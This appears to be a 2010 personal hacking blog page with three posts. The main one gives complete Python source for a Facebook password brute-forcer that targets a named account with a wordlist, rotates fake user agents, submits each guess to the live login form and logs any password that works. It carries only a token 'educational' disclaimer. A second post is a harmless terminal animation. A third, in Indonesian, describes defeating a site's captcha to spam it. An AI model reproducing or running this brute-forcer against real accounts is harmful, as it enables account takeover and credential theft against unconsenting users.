fbruteforcer.py
#!/usr/bin/python # This is facebook bruteforcer tools # This was written for educational purpose and pentest only. Use it at your own risk. # Author will not be responsible for any damage !! # Toolname : facebookbruteforcer.py # Programmer : Gunslinger_ <yudha.gunslinger@gmail.com> # Version : 1.0 # Date : Tue Jul 27 13:24:44 WIT 2010 # Special thanks to mywisdom to inspire me ;) import re import os import sys import random import warnings import time try: import mechanize except ImportError: print "[*] Please install mechanize python module first" sys.exit(1) except KeyboardInterrupt: print "\n[*] Exiting program...\n" sys.exit(1) try: import cookielib except ImportError: print "[*] Please install cookielib python module first" sys.exit(1) except KeyboardInterrupt: print "\n[*] Exiting program...\n" sys.exit(1) warnings.filterwarnings(action="ignore", message=".*gzip transfer encoding is experimental!", category=UserWarning) # define variable __programmer__ = "gunslinger_ <yudha.gunslinger@gmail.com>" __version__ = "1.0" verbose = False useproxy = False usepassproxy = False log = 'fbbruteforcer.log' file = open(log, "a") success = 'http://www.facebook.com/?sk=messages&ref=mb' fblogin = 'https://login.facebook.com/login.php?login_attempt=1' # some cheating .. ouruseragent = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)', 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)', 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)', 'Microsoft Internet Explorer/4.0b1 (Windows 95)', 'Opera/8.00 (Windows NT 5.1; U; en)', 'amaya/9.51 libwww/5.4.0', 'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)', 'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)', 'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]' ] facebook = ''' __ _ _ / _| | | | | | |_ __ _ ___ ___| |__ ___ ___ | | __ | _/ _` |/ __/ _ \ '_ \ / _ \ / _ \| |/ / | || (_| | (_| __/ |_) | (_) | (_) | < |_| \__,_|\___\___|_.__/ \___/ \___/|_|\_\\ bruteforcer... Programmer : %s Version : %s''' % (__programmer__, __version__) option = ''' Usage : %s [options] Option : -u, --username <username> | User for bruteforcing -w, --wordlist <filename> | Wordlist used for bruteforcing -v, --verbose | Set %s will be verbose -p, --proxy <host:port> | Set http proxy will be use -k, --usernameproxy <username> | Set username at proxy will be use -i, --passproxy <password> | Set password at proxy will be use -l, --log <filename> | Specify output filename (default : fbbruteforcer.log) -h, --help <help> | Print this help Example : %s -u brad@hackme.com -w wordlist.txt" P.S : add "&" to run in the background ''' % (sys.argv[0], sys.argv[0], sys.argv[0]) hme = ''' Usage : %s [option] -h or --help for get help ''' % sys.argv[0] def helpme(): print facebook print option file.write(facebook) file.write(option) sys.exit(1) def helpmee(): print facebook print hme file.write(facebook) file.write(hme) sys.exit(1) for arg in sys.argv: try: if arg.lower() == '-u' or arg.lower() == '--user': username = sys.argv[int(sys.argv[1:].index(arg))+2] elif arg.lower() == '-w' or arg.lower() == '--wordlist': wordlist = sys.argv[int(sys.argv[1:].index(arg))+2] elif arg.lower() == '-l' or arg.lower() == '--log': log = sys.argv[int(sys.argv[1:].index(arg))+2] elif arg.lower() == '-p' or arg.lower() == '--proxy': useproxy = True proxy = sys.argv[int(sys.argv[1:].index(arg))+2] elif arg.lower() == '-k' or arg.lower() == '--userproxy': usepassproxy = True usw = sys.argv[int(sys.argv[1:].index(arg))+2] elif arg.lower() == '-i' or arg.lower() == '--passproxy': usepassproxy = True usp = sys.argv[int(sys.argv[1:].index(arg))+2] elif arg.lower() == '-v' or arg.lower() == '--verbose': verbose = True elif arg.lower() == '-h' or arg.lower() == '--help': helpme() elif len(sys.argv) <= 1: helpmee() except IOError: helpme() except NameError: helpme() except IndexError: helpme() def bruteforce(word): try: sys.stdout.write("\r[*] Trying %s... " % word) file.write("[*] Trying %s\n" % word) sys.stdout.flush() br.addheaders = [('User-agent', random.choice(ouruseragent))] opensite = br.open(fblogin) br.select_form(nr=0) br.form['email'] = username br.form['pass'] = word br.submit() response = br.response().read() if verbose: print response if success in response: print "\n\n[*] Logging in success..." print "[*] Username : %s" % (username) print "[*] Password : %s\n" % (word) file.write("\n[*] Logging in success...") file.write("\n[*] Username : %s" % (username)) file.write("\n[*] Password : %s\n\n" % (word)) sys.exit(1) except KeyboardInterrupt: print "\n[*] Exiting program...\n" sys.exit(1) except mechanize._mechanize.FormNotFoundError: print "\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\n" file.write("\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\n") sys.exit(1) except mechanize._form.ControlNotFoundError: print "\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\n" file.write("\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\n") sys.exit(1) def releaser(): global word for word in words: bruteforce(word.replace("\n","")) def main(): global br global words try: br = mechanize.Browser() cj = cookielib.LWPCookieJar() br.set_cookiejar(cj) br.set_handle_equiv(True) br.set_handle_gzip(True) br.set_handle_redirect(True) br.set_handle_referer(True) br.set_handle_robots(False) br.set_debug_http(False) br.set_debug_redirects(False) br.set_debug_redirects(False) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) if useproxy: br.set_proxies({"http": proxy}) if usepassproxy: br.add_proxy_password(usw, usp) if verbose: br.set_debug_http(True) br.set_debug_redirects(True) br.set_debug_redirects(True) except KeyboardInterrupt: print "\n[*] Exiting program...\n" file.write("\n[*] Exiting program...\n") sys.exit(1) try: preventstrokes = open(wordlist, "r") words = preventstrokes.readlines() count = 0 while count < len(words): words[count] = words[count].strip() count += 1 except IOError: print "\n[*] Error: Check your wordlist path\n" file.write("\n[*] Error: Check your wordlist path\n") sys.exit(1) except NameError: helpme() except KeyboardInterrupt: print "\n[*] Exiting program...\n" file.write("\n[*] Exiting program...\n") sys.exit(1) try: print facebook print "\n[*] Starting attack at %s" % time.strftime("%X") print "[*] Account for bruteforcing %s" % (username) print "[*] Loaded :",len(words),"words" print "[*] Bruteforcing, please wait..." file.write(facebook) file.write("\n[*] Starting attack at %s" % time.strftime("%X")) file.write("\n[*] Account for bruteforcing %s" % (username)) file.write("\n[*] Loaded : %d words" % int(len(words))) file.write("\n[*] Bruteforcing, please wait...\n") except KeyboardInterrupt: print "\n[*] Exiting program...\n" sys.exit(1) try: releaser() bruteforce(word) except NameError: helpme() if __name__ == '__main__': main()
July 27, 2010 | Categories: Tools | Tags: 'amaya/9.51 libwww/5.4.0', 'Microsoft Internet Explorer/4.0b1 (Windows 95)', 'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)', 'Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)', 'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;', 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)', 'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)', 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre', 'Opera/8.00 (Windows NT 5.1; U; en)', about, account, ads, allow, amazing, application, asshole, atacker, attack, attempt, beware, bomber, bot, brandwein, brute, caution, china, click, comment, connections, cookielib, dangerous, darkc0de, database, db, developer, devilzc0de, dhcp, easy, echo, except, exploit, external, facebook, fool, forcer, freeze, friend, fun, funny, gathering, hack, hacked, hacker, hacking, how, icmp, idiot, in, indonesia, info, information, injector, internal, internet, its, jasakom, learn, legendary, leonard, linux, login, lunak, mechanize, missconfiguration, module, more, my, network, new, not, own, password, perangkat, post, programmer, project, pwned, python, robot, send, setting, show, simulation, socket, states, strategies, stupid, sunglasses, technique, time, to, Tools, united, unix, url, user, who, windows, works, written, you | 62 Comments
matrix.py [matrix in python]
do you know matrix movie ?
here i make some code about matrix in python ..
here you go !
#!/usr/bin/python # -*- coding: utf-8 -*- # gunslinger_ 08 feb 2010 # this code is protected under the gpl # get your copy at <http://www.gnu.org/licenses/> import os, time, random, sys class message(str): def __new__(cls, text, speed): self = super(message, cls).__new__(cls, text) self.speed = speed self.y = -1*len(text) self.x = random.randint(0, display().width) self.skip = 0 return self def move(self): if self.speed > self.skip: self.skip += 1 else: self.skip = 0 self.y += 1 class display(list): def __init__(self): self.height, self.width = [int(x) for x in os.popen('stty size', 'r').read().split()] self[:] = [' ' for y in xrange(self.height) for x in xrange(self.width)] def set_vertical(self, x, y, string): string = string[::-1] if x < 0: x = 80 + x if x >= self.width: x = self.width-1 if y < 0: string = string[abs(y):] y = 0 if y + len(string) > self.height: string = string[0:self.height - y] if y >= self.height: return start = y*self.width+x length = self.width*(y+len(string)) step = self.width self[start:length:step] = string def __str__(self): return ''.join(self) i_message = raw_input("Input a message: ") messages = [message(i_message, random.randint(1, 5))] for t in xrange(1000000): messages.append(message(i_message[::-1], random.randint(1, 5))) d = display() for text in messages: d.set_vertical(text.x, text.y, text) text.move() sys.stdout.write(str(d)) sys.stdout.flush() del d time.sleep(0.1)
for best view, you must install konsole in your system :
to get it just type : sudo apt-get install konsole
and here example
February 10, 2010 | Categories: python | Tags: 'amaya/9.51 libwww/5.4.0', 'Microsoft Internet Explorer/4.0b1 (Windows 95)', 'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)', 'Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)', 'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;', 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)', 'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)', 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre', 'Opera/8.00 (Windows NT 5.1; U; en)', 3d, area, asshole, backtrack, bark, beauty, bill, bitch, black, buat, can, cara, carachter, character, cool, di, dies, dive, dogs, evolution, expert, falling, fuck, fun, game, gate, gnu, good, green, gunslinger_, hacker, how, httplib, in, input, into, it, kde, konsole, linus, linux, local, make, matrix, mechine, movies, multi, network, neural, never, not, old, point, pointer, program, programmer, pwnsauce, python, reloaded, rock, seems, shoot, socket, standard, star, stars, status, style, sys, terminal, theme, thread, threading, to, tommorow, trovald, unix, unknown, virus, wide, windows, wish, work, yeah !!, ywn | 9 Comments
virusindonesia.com captcha broke
yah, tadi awalnya cuma iseng
ngeliat virus yang dibuat sama temen
bisa dilihat disini :
http://virusindonesia.com/2010/08/30/flyff-reinkarnasi-amburadul/
berhubungan saya lagi banyak bereksperimen tentang captcha
sekaligus saya hanya ingin mengingatkan bahwa captcha tersebut tidak baik
mengingat bahwa captcha tersebut dapat di kalahkan dengan metode simulasi
berikut sourcecode dari program…
ketika saya telah mengingatkan dengan beberapa spam, beberapa menit kemudian sudah di hapus oleh virusindonesia sendiri (well good job quick responds)
dengan ini saya harap situs tersebut mau mengganti captchanya agar tidak terspamming oleh yang lain ;)
September 4, 2010 | Categories: python | Tags: "Accept": "text/html, "Accept-Charset": "ISO-8859-1, "Accept-Encoding": "gzip, "Accept-Language": "en-us, "Content-Type": "application/x-www-form-urlencoded" } ouruseragent = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)', "Keep-Alive": "99999", "Proxy-Connection": "keep-alive", "User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3", 'amaya/9.51 libwww/5.4.0', 'Microsoft Internet Explorer/4.0b1 (Windows 95)', 'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;', 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)', 'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)', 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre', 'Opera/8.00 (Windows NT 5.1; U; en)', */*;q=0.8", *;q=0.7", application/xhtml+xml, application/xml;q=0.9, been, captcha, coder, comment, cookielib, decoder, deflate", devilzc0de, en;q=0.5", experiment, exploit, false, flyff666, good, graphic, has, import, indonesia, mechanize, not, pwn, python, random, re, september, simulasi, simulation, sourcecode, spam, spammer, team, time, utf-8;q=0.7, virus, virusindonesia.com | 10 Comments